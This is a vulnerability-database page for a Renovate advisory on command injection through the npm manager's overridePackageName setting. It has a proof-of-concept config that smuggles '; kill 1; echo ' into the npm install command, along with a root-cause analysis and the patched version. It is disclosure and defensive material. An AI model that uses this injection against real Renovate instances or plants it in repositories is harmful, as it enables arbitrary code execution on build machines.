6.7

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

GHSA-fr4j-65pv-gjjj

GHSA-fr4j-65pv-gjjj: Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Summary

The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.

Details

Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code. The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.

PoC

Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["npm"],
      // Provide a command in the package name
      overridePackageName: "; kill 1; echo ",
      // Override the datasource to prevent a lookup failure
      overrideDatasource: "custom.always",
    },
  ],
}

package.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "dependencies": {
    "uuid": "^11.0.0"
  }
}

package-lock.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "renovate-aci-4",
      "version": "0.0.1",
      "dependencies": {
        "uuid": "^11.0.0"
      }
    },
    "node_modules/uuid": {
      "version": "11.0.0",
      "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
      "integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
      "funding": [
        "https://github.com/sponsors/broofa",
        "https://github.com/sponsors/ctavan"
      ],
      "license": "MIT",
      "bin": {
        "uuid": "dist/esm/bin/uuid"
      }
    }
  }
}

Miggo Vulnerability Database

→

GHSA-fr4j-65pv-gjjj

GHSA-fr4j-65pv-gjjj:

6.7

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
renovate	npm	>= 35.63.0, < 40.33.0	40.33.0

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability exists because user-provided input from the Renovate configuration is used to construct a shell command without proper sanitization. The root cause is a command injection vulnerability in the npm manager's lock file maintenance logic.

The exploitation chain begins when Renovate processes a repository with a malicious renovate.json5 file.

The applyPackageRules function reads the overridePackageName from the configuration. This feature allows an attacker to inject arbitrary strings, including shell commands.
The malicious packageName is then passed to the divideWorkspaceAndRootDeps function, which in turn calls generatePackageKey.
generatePackageKey creates a packageKey string by concatenating the malicious packageName with a version number.
Finally, the generateLockFile function uses this packageKey to construct an npm install command. Since the packageName is not sanitized, the injected commands are executed on the machine running Renovate.

The provided PoC demonstrates this by setting overridePackageName to "; kill 1; echo ", which terminates the Renovate process.

Vulnerable functions

generateLockFile

lib/modules/manager/npm/post-update/npm.ts

This function constructs an `npm install` command by concatenating a user-controlled `packageName` (via `packageKey`) without proper sanitization, leading to arbitrary command injection.

applyPackageRules

lib/util/package-rules/index.ts

This function applies the `overridePackageName` setting from a Renovate configuration file. An attacker can provide a malicious payload in this field, which is then used to construct the `npm install` command in `generateLockFile`.

divideWorkspaceAndRootDeps

lib/modules/manager/npm/post-update/npm.ts

This function processes upgrades and uses the potentially malicious `packageName` to generate a `packageKey`. This `packageKey` is then passed to `generateLockFile` and used in the vulnerable command construction.

generatePackageKey

lib/modules/manager/npm/post-update/npm.ts

This function directly concatenates the user-controlled `packageName` with a version string. The result is used to build the command in `generateLockFile`, making it a part of the injection vector.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

6.7

-

Basic Information

Basic Information

Concerned about an active attack path?

GHSA-fr4j-65pv-gjjj: Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Summary

Details

PoC

GHSA-fr4j-65pv-gjjj:

6.7

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Detect and Respond To Threats Faster.

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

Vulnerable functions

Basic Information

Basic Information

Technical Details

6.7

6.7

GHSA-fr4j-65pv-gjjj: Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Summary

Details

PoC

Impact

6.7

-

Basic Information

Basic Information

Concerned about an active attack path?

GHSA-fr4j-65pv-gjjj: Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Summary

Details

PoC

GHSA-fr4j-65pv-gjjj:

6.7

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Basic Information

Basic Information

Technical Details

6.7

6.7

GHSA-fr4j-65pv-gjjj: Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Summary

Details

PoC

Impact

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI